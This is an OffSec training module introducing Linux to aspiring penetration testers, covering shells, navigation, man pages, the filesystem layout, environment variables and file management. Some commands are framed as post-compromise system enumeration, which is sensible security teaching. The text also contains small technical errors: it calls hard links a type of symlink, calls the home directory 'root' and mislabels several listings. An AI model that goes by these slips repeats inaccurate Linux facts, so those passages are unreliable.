Linux Basics I
In this Module, we will cover the following Learning Units:
- Introduction to Linux
- Command-Line Basics
- Manuals and Help
- The Linux Filesystem
- The Environment
- Linux File Management
- Piping and Redirection
- Search and Text Manipulation
Each learner moves at their own pace, but this Module should take
approximately 10 hours to complete.
Although Linux represents a relatively small proportion of the desktop
operating system market share, it is one of the most stable operating
systems. This is in part because it is open-source and employs
unique collaborative development techniques by the community. A new
kernel/core is released every 2-3 months.
Since many of the common tools used by penetration testers and
security professionals are often built for a Linux environment,
we'll need to make sure we're familiar with Linux. Eventually, we may
need to use these tools and we won't want to worry about dependencies
or porting programs to other operating systems.
Introduction to Linux
This Learning Unit covers the following Learning Objectives:
- Understand what Linux is
- Describe the origins of the Linux kernel
- Understand the concept of Linux distributions
- Describe what Kali Linux is
This Learning Unit will take approximately 60 minutes to complete
To have a good grasp of Linux concepts and to begin getting
hands-on with the operating system, we will first introduce the
following topics.
The Linux History[1] section will briefly discuss
how the Linux operating system came into existence and how it is
maintained.
The Linux Operating Systems section will cover the different
distributions of Linux that are available and what makes them
different from each other.
In the Kali Linux section, we will introduce Kali Linux and why
it is one of the most popular penetration testing distributions, what
it offers, and how it can be useful for us throughout an assessment.
The term Linux is sometimes used to refer to a family of open-source
operating systems, but it is perhaps more accurate to use this term
to describe a kernel,[2] which is the base of those
operating systems.
The main functions of the Linux kernel are to manage peripheral
devices, handle communication with the processor and memory, schedule
tasks to be executed, handle interrupt requests, and so on.
Linux is a Unix-like operating system kernel. Unix was a popular
commercial product in the 1970s and 1980s, and it influenced the
design of several other later systems. One of the systems that
was influenced by Unix was called Minix.[3] Minix was created
by Andrew S. Tanenbaum for educational purposes. Tanenbaum made its
complete source code available to universities for study in courses
and research.
One Finnish university student, Linus Torvalds, had used Minix but
wanted to deviate from its existing architecture. Torvalds decided
to develop his own monolithic kernel (Minix had a microkernel
architecture).
In a microkernel[4] architecture, the kernel is
broken down into separate processes, known as servers. Some of the
servers run in kernel-space and some run in user-space. All servers
are kept separate and run in different address spaces. Servers invoke
"services" from each other by sending messages via Inter-Process
Communication (IPC). This separation has the advantage that if one
server fails, other servers can still work efficiently.
A monolithic kernel, on the other hand, is one large process running
entirely in a single address space. It is a single, static, binary
file. All kernel services exist and execute in the kernel address
space and the kernel can invoke functions directly.
Around the same time that Torvalds was working on his monolithic
kernel, the GNU project was preparing to offer a free Unix-like
operating system that included a collection of free software programs
like system utilities, text editors, and others.
GNU developers started to develop a kernel called Hurd,[5] which
was based on the microkernel design. When the Linux kernel became
production-ready earlier than expected, the project decided to choose
Linux as the kernel for the GNU operating system. The term GNU/Linux
refers to the GNU operating system using the Linux kernel.
The integration of the kernel, the operating system, system utilities,
and other software packages is called a distribution. When we use
the term distribution, we are referring to a working system that can
be installed, boots itself, and provides additional software.
One thing we need to understand is that Linux is not an operating
system, it is just a kernel and it is the core used by other
distributions and operating systems. This means that a kernel on its
own is only as usable as a car engine without the surrounding car.
If we were to search online for Linux operating systems, we would
find many of them, each optimized for specific tasks. For example,
one Linux distribution may be optimized for command-line use, while
another is best suited for a completely different application. There
are graphical desktop versions of a Linux-based operating system that
may not make sense to use on a server where someone only needs the
command-line to accomplish certain tasks.
Although Ubuntu[6] is one of the most popular Linux-based
OSs, there exist a lot more such as Knoppix, CentOS, SUSE, Gentoo,
Android, and OpenWrt.
In broad terms, Linux distributions may be created, described, and
categorized as any of the following.
-
Commercial or non-commercial
-
Designed for enterprise users, power users, or home users
-
Supported on multiple types of hardware, or platform-specific
-
Designed for servers, desktops, or embedded devices
-
General purpose or highly specialized toward specific machine
functionalities -
Targeted at specific user groups
-
Built primarily for security, usability, portability, or
comprehensiveness -
Have standard release cycles or rolling releases.
To conclude, different Linux-based operating systems are better
suited for different tasks. The software is open source - any user
with sufficient knowledge and interest can customize an existing
distribution or design one to suit their own needs.
Kali Linux is a Debian-based Linux distribution created by OffSec in
early 2013 and geared towards various information security tasks, such
as Penetration Testing, Security Research, Computer Forensics, and
Reverse Engineering.
The distribution contains a suite of information security tools
constantly updated serving different purposes such as information
gathering, vulnerability analysis, wireless attacks, web application
attacks, exploitation tools, password attacks, hardware hacking,
sniffing or spoofing, and so on.
Kali Linux users can review the free online training available as
PEN-103 in the Offsec Training Library. This includes the Kali Linux
Revealed book and exercises designed to test your understanding. These
free resources are useful to users of all skill levels and will help
you get a jump start into getting familiar with the distribution.
Command Line Basics
This Learning Unit covers the following Learning Objectives:
- Understand what a shell is
- Perform basic navigation in a Linux shell
- List the contents of a directory via the command-line
- Read the contents of a file via the command-line
This Learning Unit will take approximately 120 minutes to complete.
One of the most common ways to interact with a Linux-based system is
via the command-line.[7] A command-line is a text-based
interface that allows for information queries or code execution. We
can start using a command-line by opening up a terminal.
In Kali Linux, we can open up a terminal by clicking on the black icon
on the top left in the top bar. Once we do so, we get a new window
with something similar to the following.
┌──(kali@kali)-[~]
└─$
Listing 1 - The Kali terminal
Each user will have their own preferences for how to use the terminal.
For the remainder of these course materials, we will be using a
slightly different view. To toggle between views, we can use the
C+p shortcut.
kali@kali:~$
Listing 2 - An alternative view of the command-line
One commonly-used name to refer to the command-line or the terminal is
a shell. Technically speaking, a shell is a program that processes
commands and returns output - but it is also colloquially used as a
synonym for the terminal or console.
There are a few important shells on Linux:
-
sh: The Bourne SHell is the foundation for almost all other
shell environments, since it holds the most important tasks, which
have to do with command interpretation or act as a scripting language. -
Bash: Also known as Bourne-Again SHell, Bash was developed
to serve as a replacement for Bourne SHell by offering additional
functionality and better syntax.[8] Bash is the default
login shell for most Linux distributions. -
ksh: This is another variation of a shell environment called
Korn SHell, which again adds some functionality to the basic sh and
Bash. For example, ksh handles the loop syntax better than Bash. -
zsh: The Z SHell is an extended Bourne SHell with additional
improvements and functionality, which also builds on top of some of
the Bash ones.
Different shell environments serve the same basic purpose of
running programs and interpreting commands, but they offer different
functionality that might better facilitate various tasks.
Linux does not use Windows-style drive letters.[9]
Instead, all files, folders, and devices are children of the root
directory, represented by the forward slash (/) character.
The pwd command will print the current directory (which is
helpful if we get lost) and we can use the cd command to move
from one directory to another. Running "cd <directory_name>" will
take us inside of "<directory_name>" within the current folder, if
it exists.
Let's try maneuvering around some directories.
kali@kali:~$ pwd
/home/kali
kali@kali:~$ cd Documents
kali@kali:~/Documents$ pwd
/home/kali/Documents
kali@kali:~/Documents$ cd doesnotexist
cd: no such file or directory: /doesnotexist
kali@kali:~/Documents$
Listing 3 - Changing directories.
Here we use pwd to show the current directory and then
cd to move into the Documents directory. We're
unable to move into the doesnotexist directory because, this
made up directory, it does not exist.
To move up one directory, we can use cd with two periods, to
indicate the directory above the one we are currently in.
Let's do that now to return to the /home/kali directory.
kali@kali:~/Documents$ cd ..
kali@kali:~$ pwd
/home/kali
kali@kali:~$
Listing 3 - Changing directories.
While we are beginning to understand directories, we need to note that
we can refer to files and directories in two different ways. We can
refer to their location with either an absolute path or a relative
path.
An absolute path is used to reference a file or directory starting
with the root directory (/). For example, if we would like
to print the contents of the passwd file, which exists inside
etc/ that is in the root directory /, then we can
reference it using /etc/passwd. We can do this no matter what
the current directory is.
kali@kali:~/Documents/drafts/$ file /etc/passwd
/etc/passwd: ASCII text
kali@kali:~/Documents/drafts/$ cd ~
kali@kali:~$ file /etc/passwd
/etc/passwd: ASCII text
Listing 4 - Referencing a file using its absolute path.
Here, we ran the same command, which checks what type of
file passwd is, twice. We ran it once from the
/Documents/drafts folder and once from the "root" folder.
Because we used an absolute path, the results are the same.
A relative path, on the other hand, is a location relative to our
current working directory. As we change locations and move from one
directory to another, the relative path will also change. In order
to address the same passwd file in a relative directory path
format, we need to first know our current working directory. We can
run pwd again for that information.
kali@kali:~$ pwd
/home/kali
Listing 5 - Current directory.
Currently, we are inside the "root" directory (/home/kali).
The passwd file is inside the /etc folder. To
get to it, we will need to go two directories "up" from our current
directory and then into the /etc folder. We can reference
the file using ../../etc/passwd. The two periods (..)
represent the directory one level up from our current location, so
../../ means we are moving two directories up.
kali@kali:~$ file ../../etc/passwd
/etc/passwd: ASCII text
kali@kali:~$ cd Documents
kali@kali:~/Documents$ file ../../etc/passwd
../../etc/passwd: cannot open `../../etc/passwd' (No such file or directory)
Listing 6 - Referencing a file using its relative path.
Once again, we're running the same command twice. The first time
it is successful, but when we change locations and then run it from a
new location, Kali can't find the file and we get different results.
One useful feature about shell environments is that they store the
current user home directory path (if it is set), and we can easily
reference it using the tilde (~) symbol. This means that if we are
inside any directory and we want to quickly jump back to our home
directory, we could use cd ~. We've done this already in
Listing 4, but let's practice it one more time.
kali@kali:/etc$ pwd
/etc
kali@kali:/etc$ cd ~
kali@kali:~$ pwd
/home/kali
Listing 7 - Referencing the home directory using ~.
The ls command prints out a basic file listing to the screen.
We can also add options after a command to change its output or how it
functions. For example, the -1 option displays each file on
its own single line, which can be very useful for automation.
kali@kali:~$ ls
Desktop Documents Downloads Music Pictures Public Templates Videos
kali@kali:~$ ls /etc/apache2/sites-available/*.conf
/etc/apache2/sites-available/000-default.conf
/etc/apache2/sites-available/default-ssl.conf
kali@kali:~$ ls -1
.
..
Desktop
file1
file2
Directory1
...
Listing 8 - Listing files.
The output includes a combination of files and folders
named Desktop, file1, etc.
Another common option with ls is the -la option,
which uses a long listing format and includes all files, even hidden
ones.
kali@kali:~$ ls -la
total 120
drwxr-xr-x 14 kali kali 4096 Jun 23 15:47 .
drwxr-xr-x 3 root root 4096 Jun 23 15:07 ..
-rw-r--r-- 1 kali kali 220 Jun 23 15:07 .bash_logout
-rw-r--r-- 1 kali kali 5349 Jun 23 15:07 .bashrc
-rw-r--r-- 1 kali kali 3526 Jun 23 15:07 .bashrc.original
drwxr-xr-x 6 kali kali 4096 Jun 23 15:09 .cache
drwx------ 8 kali kali 4096 Jun 23 15:09 .config
drwxr-xr-x 2 kali kali 4096 Jun 23 15:09 Desktop
-rw-r--r-- 1 kali kali 55 Jun 23 15:47 .dmrc
drwxr-xr-x 2 kali kali 4096 Jun 23 15:09 Documents
drwxr-xr-x 2 kali kali 4096 Jun 23 15:09 Downloads
...
Listing 9 - Listing files with options.
There are additional options that we can use with ls and there are
several resources[10] that explore this in further detail. Linux also
includes a manual for this command and others. We will cover how to
find and explore these later.
There are several commands that can be used to print the content of
a given file to the screen. We can use cat, more,
less, head, and tail to output text to the
terminal. It's useful to be familiar with all of them, since each one
can be useful in different contexts.
The cat program allows us to read a file's content,
and it offers some useful options to filter output. For example,
the -n option will output the file's content as well as
demonstrate the file's number lines.
kali@kali:~$ cat file
this
is
a
file
that
has
many
lines
kali@kali:~$ cat -n file
1 this
2 is
3 a
4 file
5 that
6 has
7 many
8 lines
Listing 10 - Concatenating files with and without -n.
more is a simple program that is used to view text files at
the command prompt, displaying one screen at a time if the file is
large.
less is actually a complete version of more, with
more options. It allows navigation both forward and backward through
the file. The +F option tells less to watch the file
contents for changes. This can be useful when monitoring log files,
for example.
head allows us to print the top N number of lines from a
file. For example, if we wanted to only display the first three lines
of a file then we could do so using head -n 3 file.txt. We
might do this when looking at configuration files where we know we're
interested in only the top lines.
tail is just the opposite. It prints out the last N lines
of a file. We often can use tail to output log files. The syntax is
similar to that of head, tail -n 3 file.txt. Since logs get
written to with the most recent events at the bottom, tail can give us
a quick idea of what is going on.
Manuals and Help
This Learning Unit covers the following Learning Objectives:
- Execute man pages in Linux to learn more about a command
- Utilize different man pages aside from the default
- Invoke -h or --help
This Learning Unit will take approximately 45 minutes to complete.
Many Linux programs have built in manuals, also known as man
pages. We can use the man command to open up a man
page in our terminal window. Generally, each man page will have a
name, a synopsis, a description of the command's purpose, and the
corresponding options, parameters, or switches.
For example, we can open the man page for ls with the
following command:
kali@kali:~$ man ls
LS(1) User Commands LS(1)
NAME
ls - list directory contents
SYNOPSIS
ls [OPTION]... [FILE]...
DESCRIPTION
List information about the FILEs (the current directory by default).
Sort entries alphabetically if none of -cftuvSUX nor --sort is
specified.
Mandatory arguments to long options are mandatory for short options too.
-a, --all
do not ignore entries starting with .
-A, --almost-all
do not list implied . and ..
--author
with -l, print the author of each file
-b, --escape
print C-style escapes for nongraphic characters
--block-size=SIZE
with -l, scale sizes by SIZE when printing them; e.g., '--block-size=M'; see SIZE format below
-B, --ignore-backups
do not list implied entries ending with ~
...
Listing 11 - Viewing the manual for ls
Man pages contain information about user commands, and also
documentation regarding system administration commands, programming
interfaces, and more. Manuals are categorized by several numbered
sections.
| Section | Contents |
|---|---|
| 1 | User Commands |
| 2 | Programming interfaces for kernel system calls |
| 3 | Programming interfaces to the C library |
| 4 | Special files such as device nodes and drivers |
| 5 | File formats |
| 6 | Games and amusements such as screen-savers |
| 7 | Miscellaneous |
| 8 | System administration commands |
Table 1 - man page organization
To determine the appropriate manual section, we can perform a keyword
search. For example, let's assume we are interested in learning a
bit more about the file format of the /etc/passwd file.
Typing man passwd at the command-line will show information
regarding the passwd command from section 1 of the manual,
which is not what we are interested in.
kali@kali:~$ man passwd
PASSWD(1) User Commands PASSWD(1)
NAME
passwd - change user password
SYNOPSIS
passwd [options] [LOGIN]
DESCRIPTION
The passwd command changes passwords for user
accounts. A normal user may only change the password
for their own account, while the superuser may change
the password for any account. passwd also changes the
account or associated password validity period.
...
Listing 12 - Attempting to find information on /etc/passwd
However, if we use the -k option with man, we can
perform a keyword search as shown below.
kali@kali:~$ man -k passwd
chgpasswd (8) - update group passwords in batch mode
chpasswd (8) - update passwords in batch mode
exim4_passwd (5) - Files in use by the Debian exim4 packages
exim4_passwd_client (5) - Files in use by the Debian exim4 packages
expect_mkpasswd (1) - generate new password, optionally apply it to a user
fgetpwent_r (3) - get passwd file entry reentrantly
getpwent_r (3) - get passwd file entry reentrantly
gpasswd (1) - administer /etc/group and /etc/gshadow
grub-mkpasswd-pbkdf2 (1) - generate hashed password for GRUB
htpasswd (1) - Manage user files for basic authentication
...
Listing 13 - Performing a passwd keyword search with man
We can narrow the search with the help of a regular expression.
kali@kali:~$ man -k '^passwd$'
passwd (1) - change user password
passwd (1ssl) - compute password hashes
passwd (5) - the password file
Listing 14 - Narrowing down our search
In this command, the regular expression is enclosed by a caret
(^) and dollar sign ($), to match the entire line
and avoid sub-string matches.
From the results we notice that the content we're searching for is in
section 5 of the passwd man page. We can execute the man
command again, this time referencing the appropriate section.
kali@kali:~$ man 5 passwd
PASSWD(5) File Formats and Conversions PASSWD(5)
NAME
passwd - the password file
DESCRIPTION
/etc/passwd contains one line for each user account,
with seven fields delimited by colons (“:”). These
fields are:
• login name
• optional encrypted password
• numerical user ID
• numerical group ID
• user name or comment field
• user home directory
• optional user command interpreter
...
Listing 15 - Using man to look at the
manual page of the /etc/passwd file format
Man pages are typically the quickest way to find detailed
documentation on a given command. Sometimes we're simply interested
in getting a basic understanding of how to use a command. For this
reason, many Linux commands include a -h or --help option that
displays the command's usage, or help information.
kali@kali:~$ more -h
Usage:
more [options] <file>...
A file perusal filter for CRT viewing.
Options:
-d, --silent display help instead of ringing bell
-f, --logical count logical rather than screen lines
-l, --no-pause suppress pause after form feed
-c, --print-over do not scroll, display text and clean line ends
-p, --clean-print do not scroll, clean screen and display text
-s, --squeeze squeeze multiple blank lines into one
-u, --plain suppress underlining and bold
-n, --lines <number> the number of lines per screenful
-<number> same as --lines
+<number> display file beginning from line number
+/<pattern> display file beginning from pattern match
-h, --help display this help
-V, --version display version
For more details see more(1).
Listing 16 - Viewing the help info for more
In Listing 16, we use the -h option to view all
of more's options.
The Linux Filesystem
This Learning Unit covers the following Learning Objectives:
- Understand the Linux Filesystem Hierarchy Standard (FHS)
- Recall where important system configuration files are stored
- Recall where important user files are stored
This Learning Unit will take approximately 60 minutes to complete.
Since there are many distributions and flavors of Linux, the Linux
Foundation has developed a standard called the Filesystem Hierarchy
Standard (FHS).[11] The FHS exists so that when users
interact with an unfamiliar Linux environment, they can still find
their way around the machine.
The FHS defines the purpose of each main directory on a Linux system.
The top-level directories are described as follows.
-
/bin/: basic programs
-
/boot/: Linux kernel and other files required for its early
boot process -
/dev/: device files
-
/etc/: configuration files
-
/home/: user's personal files
-
/lib/: basic libraries
-
/media/: mount points for removable devices (CD/DVD-ROM,
USB keys, and so on) -
/mnt/ or /mount/: temporary mount point
-
/opt/: extra applications provided by third parties
-
/root/: administrator's (root's) personal files
-
/run/: volatile runtime data that does not persist across
reboots (not yet included in the FHS) -
/sbin/: system programs
-
/srv/: data used by servers hosted on this system
-
/tmp/: temporary files (this directory is often emptied at
boot) -
/usr/: applications (this directory is further subdivided
into bin, sbin, lib according to the same
logic as in the root directory) Furthermore, /usr/share/
contains architecture-independent data. The /usr/local/
directory is meant to be used by the administrator for installing
applications manually without overwriting files handled by the
packaging system (dpkg). -
/var/: variable data handled by services. This includes log
files, queues, spools, and caches. -
/proc/ and /sys/ are specific to the Linux kernel
(and not part of the FHS). They are used by the kernel for exporting
data to user space.
An in-depth exploration of each of these directories' functions is
beyond the scope of this Module. For now, it is important only to
understand what kind of files they house at a high level. One of the
most important directories from a user's perspective (and therefore
from a security perspective) is the /home directory, so let's
turn our attention there.
The contents of a user's home directory are not standardized,
but there are still a few noteworthy conventions. As mentioned
previously, we can refer to the user's home directory with the tilde
(~) symbol. That is useful to know because command interpreters
automatically replace a tilde with the correct directory (which is
stored in the HOME environment variable, and whose usual value is
/home/user/).
Traditionally, application configuration files are stored directly
under one's home directory, but the filenames usually start with a
dot, which makes them hidden (as discussed previously). In addition,
some programs use multiple configuration files organized in one
directory (for instance, ~/.ssh/).
Graphical desktops usually have shortcuts to display the contents of
the ~/Desktop/ directory. Finally, the email system sometimes
stores incoming emails into a ~/Mail/ directory.
The Linux Environment
This Learning Unit covers the following Learning Objectives:
- Identify the default shell in use
- Set variables in the terminal
- Display variable values
- Understand environment variables
- Set aliases
- Identify the Linux version and distribution
- Identify the Linux kernel
This Learning Unit will take approximately 90 minutes to complete.
For the sake of this Learning Unit we will use the Zsh shell. We
highly encourage you to experiment with different shells as you
continue your study.
To know which shell environment we are operating under, we can use the
echo command with the text "$SHELL" as input.
kali@kali:~$ echo $SHELL
/usr/bin/zsh
Listing 17 - Using the echo command to output the contents
of the $SHELL variable.
The output in Listing 17 shows that we are operating
under the Zsh environment. Notice the dollar ($) sign preceding the
word "SHELL" in the input. This indicates that "SHELL" is the name of
a variable. By invoking the variable's name, we can get its value.
In general, a variable is a name:value pair. We can create a new
shell variable called offsec, which stores the value "123"
by using the offsec=123 command. Once we hit I, the
variable is going to be stored. We can then reference it using the
echo $offsec command.
kali@kali:~$ offsec=123
kali@kali:~$ echo $offsec
123
kali@kali:~$ echo offsec
offsec
Listing 18 - Setting a shell variable
Note that when we echo the word "offsec" without the dollar
sign, Zsh just interprets it as a regular string. Our offsec
variable is now set and stored, but only exists for the current shell
environment. In other words, if we were to close our terminal and then
open a new one, $offsec would no longer hold the value "123".
kali@kali:~$ echo $offsec
kali@kali:~$
Listing 19 - Demonstrating shell variables' locality
Some variables, like $SHELL, are environment variables.
Environment variables exist beyond the shell in which they
are created. In other words, the value of $SHELL is
globally recognized across the machine. $SHELL does not
necessarily reflect the currently running shell environment. Instead,
$SHELL is just the name of the user's preferred shell, and
it is typically identified in the /etc/passwd file. There are
many other default environment variables, which can be explored using
the set command.
kali@kali:~$ set
'!'=0
'#'=0
'$'=1235
'*'=( )
...
MODULE_PATH=/usr/lib/x86_64-linux-gnu/zsh/5.8
NULLCMD=cat
OLDPWD=/home/kali
OPTARG=''
OPTIND=1
OSTYPE=linux-gnu
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
...
SHELL=/usr/bin/zsh
...
Listing 20 - The output of set command.
The output includes the $SHELL variable.
Another useful feature offered in modern shell environments is the
ability to consult the history of commands typed by users. In this
case, Zsh stores history information in the file indicated by the
$HISTFILE variable.
kali@kali:~$ echo $HISTFILE
/home/kali/.zsh_history
Listing 21 - The HISTFILE variable value.
Since the Linux system can manage multiple users, each user has their
own .zsh_history file and restricted permissions are set on
it such that no other user can read other users' histories without
explicit permission.
kali@kali:~$ whoami
kali
kali@kali:~$ pwd
/home/kali
kali@kali:~$ cat /home/user2/.zsh_history
cat: /home/user2/.zsh_history: Permission denied
Listing 22 - Trying to read another user's .zsh_history file.
We can explore the history[12] of commands
run by the current user by with the history command, or by
printing out the ~/.zsh_history file itself.
kali@kali:~$ history
example_command1
example_command2
example_command3
...
kali@kali:~$ cat ~/.zsh_history
example_command1
example_command2
example_command3
...
Listing 23 - Reading current user history.
Several other features allow that allow a user to use shells like Zsh
to optimize user workflows. Aliases[13] for example, can be used
as shortcuts to other commands. If we want to run the ls -la
command many times, we can create a shortcut for it as ll.
kali@kali:~$ alias ll='ls -la'
kali@kali:~$ ll
total 40
drwxrwxrwt 10 root wheel 320 Apr 24 13:19 .
drwxr-xr-x 6 root wheel 192 Mar 18 20:10 ..
-rw-r--r--@ 1 kali wheel 0 Apr 21 19:56 MozillaUpdateLock-2656FF1E876E9973
-rw-r--r-- 1 kali wheel 10 Apr 21 15:18 a
...
Listing 24 - Setting an alias
Aliases can be either temporary or permanent. Temporary aliases are
not persistent between shells, so if we were to set an alias in one
shell, and then open a new shell environment, the new environment will
not contain the alias. Permanent aliases are persistent across shells,
even after the system reboots.
In Listing 24, we set up a temporary alias. If instead we
want to create a persistent one, then we can do so by modifying the
~/.zshrc file to include the line alias ll='ls -la'.
Once that is done, we would run source ~/.zshrc to reset the
shell environment and to accommodate the new alias. We should then be
able to run ll directly.
In a penetration testing scenario, once we obtain access to a
target, one of the first things we might want to do is called system
enumeration. This is a fancy term for information gathering about
the system to better understand the machine we've attacked, often to
elevate our permissions.
We can get the version of the distribution by reading the
/etc/issue file.
kali@kali:~$ cat /etc/issue
Kali GNU/Linux Rolling \n \l
Listing 25 - Finding the distribution version
To get more than just the distribution version of the system, we can
use the uname command. Invoking uname without any options
is equivalent to using the -s option, which prints out the
kernel name.
kali@kali:~$ uname
Linux
Listing 26 - Printing the machine's kernel name
To get information about the kernel version, we can add the
-v option.
kali@kali:~$ uname -v
#1 SMP Debian 5.9.1-1kali2 (2020-10-29)
Listing 27 - Printing the machine's kernel version
If we wanted to get the kernel release we can use the -r
option.
kali@kali:~$ uname -r
5.9.0-kali1-amd64
Listing 28 - Printing the machine's kernel release
Finally, we can print all the information accessible by uname
with the -a option.
kali@kali:~$ uname -a
Linux academy 5.9.0-kali1-amd64 #1 SMP Debian 5.9.1-1kali2 (2020-10-29) x86_64 GNU/Linux
Listing 29 - Printing all the information accessible by uname
There are many other programs, commands, and files from which we can
determine much more information, and we'll cover many of them as we
continue along this Module and learning path.
Linux File Management
This Learning Unit covers the following Learning Objectives:
- Create, delete, copy, and move files and directories
- Manage files with wildcards
- Find files in Kali Linux
This Learning Unit will take approximately 90 minutes to complete.
We can create an empty file with the touch command by
providing the file name as an argument. If the file already exists,
the touch command will only modify the accessed timestamp of the file,
but will leave the contents alone.
kali@kali:~$ touch newfile
kali@kali:~$ ls -l
total 0
-rw-r--r-- 1 kali kali 0 Jun 11 09:27 newfile
Listing 30 - Creating an empty file with touch
In Listing 30, we created an empty file called
newfile, and then list it out in the directory with the
ls -l command. If we wanted to delete or remove the file,
we could use the rm command.
kali@kali:~$ rm newfile
kali@kali:~$ ls
kali@kali:~$
Listing 31 - Removing a file with rm
It's important to note that once a file is deleted, it is deleted.
We won't have an opportunity to undo this if we made a mistake.
Deleting a Linux file via the command-line removes it permanently,
unlike a GUI based "recycle bin" on Windows or "Trash" on a mac.
Always make sure to double check syntax before using rm.
To make a directory, we can use the mkdir command followed by
the desired name of the directory. Directory names can contain spaces
but since we will be spending a lot of time at the command-line, we
can save ourselves a lot of trouble by using hyphens or underscores
instead. These characters will also make auto-completes (executed with
the A key) much easier to use.
kali@kali:~$ mkdir newdir
kali@kali:~$ ls -l
total 4
drwxr-xr-x 2 kali kali 4096 Jun 11 09:31 newdir
-rw-r--r-- 1 kali kali 0 Jun 11 09:27 newfile
Listing 32 - Creating an empty directory with mkdir
We can delete a directory with the rmdir command, as long as
it's empty.
kali@kali:~$ rmdir newdir
kali@kali:~$ ls -l
total 0
-rw-r--r-- 1 kali kali 0 Jun 17 09:27 newfile
Listing 33 - Deleting an empty directory with rmdir
To move a file to a different directory, we can use the mv
command.
kali@kali:~$ mv newfile newdir2
kali@kali:~$ ls -lR
.:
total 4
drwxr-xr-x 2 kali kali 4096 Jun 17 09:37 newdir2
./newdir2:
total 0
-rw-r--r-- 1 kali kali 0 Jun 17 09:27 newfile
Listing 34 - Deleting an empty directory with rmdir
In Listing 35, we move the newfile file to the
newdir2 directory. We then use ls -lR to list the
contents of both of our home directory, as well as newdir2.
We can also use mv to rename a file, by moving it within
the current working directory. For example, if we wanted to rename
offsec.txt to offsec123.txt then we can do so as
follows.
kali@kali:~$ touch offsec.txt
kali@kali:~$ ls
offsec.txt
kali@kali:~$ mv offsec.txt offsec123.txt
kali@kali:~$ ls
offsec123.txt
Listing 36 - Renaming a file with mv
The same applies for directories, meaning that if we want to rename
a directory named offsecdir to offsecdir123 then we
can use the following.
kali@kali:~$ mkdir offsecdir
kali@kali:~$ ls
offsecdir
kali@kali:~$ mv offsecdir offsecdir123
kali@kali:~$ ls
offsecdir123
Listing 37 - Renaming a directory with mv
Sometimes we might want to rename or move a file, but also preserve
the original. We can do this with the cp command, which
can be used to copy files within the same directory or into other
directories.
kali@kali:~$ cat hi.txt
hello
kali@kali:~$ cp hi.txt bye.txt
kali@kali:~$ cat bye.txt
hello
kali@kali:~$ ls
bye.txt hi.txt
Listing 38 - Copying a file with cp
In Listing 38 we use cat to view the contents
of the hi.txt file. We then use cp to copy the
contents into a new file called bye.txt. Finally, ls
demonstrates that both files are present in the current directory.
Now that we now how to create, delete, move, rename, and copy basic
files, let's learn about a special kind of file called a symbolic
link, or symlink. A symbolic link is just a shortcut that points to
the original file or directory.
There are two kinds of symlinks: soft links, and hard links. Soft
links allow us to "mirror" the contents of the original file into
a new one. This means that if we were to modify the original file,
then the symlink file would be modified as well.
Let’s experiment with this. First, let's create a file using
touch, and then use echo to write text to the file.
We will talk more about what the greater-than (>) symbol does in a
later section. Finally, we use cat to check the content of
the file.
kali@kali:~$ touch original.txt
kali@kali:~$ echo 'hello world' > original.txt
kali@kali:~$ cat original.txt
hello world
Listing 39 - Creating a file with content in it.
Now that the file is created, let’s move to the /tmp/
directory using with cd. We'll then use ln
with the -s option to create a soft symlink pointing at
original.txt. Last, we use the ls -la command to
observe the new symlink.
kali@kali:~$ cd /tmp
kali@kali:/tmp$ ln -s ~/original.txt symlink.txt
kali@kali:/tmp$ ls -la
lrwxrwxrwx 1 kali kali 21 Jun 3 17:43 symlink.txt -> /home/kali/original.txt
Listing 40 - Creating a soft symbolic link.
Let’s confirm the contents of the symlink include "hello world". Then,
we'll change the contents of original.txt by overwriting
it with new input, using echo. Finally, we'll print out the
contents of the symlink with cat, and observe the results.
kali@kali:/tmp$ cat symlink.txt
hello world
kali@kali:/tmp$ echo 'goodbye planet' > ~/original.txt
kali@kali:/tmp$ cat symlink.txt
goodbye planet
Listing 41 - Viewing and modifying the content of the symbolic link.
Later, we'll learn about the concept of file permissions. Note
that if we set different file permissions on either the original file
or the symlink, the mirrored file's permissions will not change.
We leave it as a research exercise to find out why (hint: inode).
Hard links are copies of the original file, but more accurately, they
are exact mirrors of the original file. Let's experiment.
First, let’s create a file named offsec123.txt in the current
user’s home directory using touch. Then we'll write some text
inside the file using echo again.
kali@kali:~$ touch offsec123.txt
kali@kali:~$ echo 'This is a test.' > offsec123.txt
Listing 42 - Creating a file with content in it.
Now with the file created, let's move to the /tmp/ directory
using cd, and then create a hard link with ln.
Notice we are not using any options. We then will run cat to
check that both files contain the same content.
kali@kali:~$ cd /tmp
kali@kali:/tmp$ ln ~/offsec123.txt hardlink.txt
kali@kali:/tmp$ ls -la
-rw-r--r-- 2 kali kali 5 Jun 3 17:49 hardlink.txt
Listing 43 - Creating a hard symbolic link.
Next, we will use rm to delete the original file.
kali@kali:~$ rm offsec123.txt
kali@kali:~$ cd /tmp
kali@kali:/tmp$ cat hardlink.txt
This is a test.
Listing 44 - Deleting the hard symbolic link.
It's interesting to note that when we view /tmp/'s directory
listing, the hardlink.txt still exists. Furthermore, when we
output the file using cat, we will still read the original
contents.
Wildcard[14] characters allow us to reference a large
set of files at once, and help manage files on the command-line (among
other tasks). The most common wildcard character is the asterisk
(*), which represents zero or more characters. Let's explore
some use-cases to better understand the concept.
The following command will display all files in the current directory
that begin with the letter "a".
kali@kali:~$ ls -l a*
-rw-r--r-- 1 root wheel 515 Jun 6 2020 afpovertcp.cfg
lrwxr-xr-x 1 root wheel 15 Mar 9 20:49 aliases -> postfix/aliases
-rw-r----- 1 root wheel 16384 Jun 6 2020 aliases.db
-rw-r--r-- 1 root wheel 1051 Jun 6 2020 asl.conf
-rw-r--r-- 1 root wheel 149 Oct 30 08:55 auto_home
-rw-r--r-- 1 root wheel 195 Oct 30 08:55 auto_master
-rw-r--r-- 1 root wheel 1935 Oct 30 08:55 autofs.conf
...
Listing 45 - Listing specific files using *.
Essentially, the string "a*" tells the command-line to include
every file that meets the condition "a, then any zero or more
characters".
The wildcard operator can be used with other programs like mv, cp,
and rm.
In this section, we'll explore how to find files within a Linux
system. The three most common commands used to locate files in
Kali Linux are find,[15] locate,[16] and
which.[17] These utilities are similar, but they work
and return data in different ways, so they are useful in different
circumstances.
The which command searches through the directories that are defined in
the $PATH environment variable for a given file name.
If a match is found, which returns the full path to the file.
kali@kali:~$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
kali@kali:~$ which sbd
/usr/bin/sbd
Listing 46 - Exploring the which command
The locate command is the quickest way to find the location of files
or directories in Kali. To provide a much shorter search time, locate
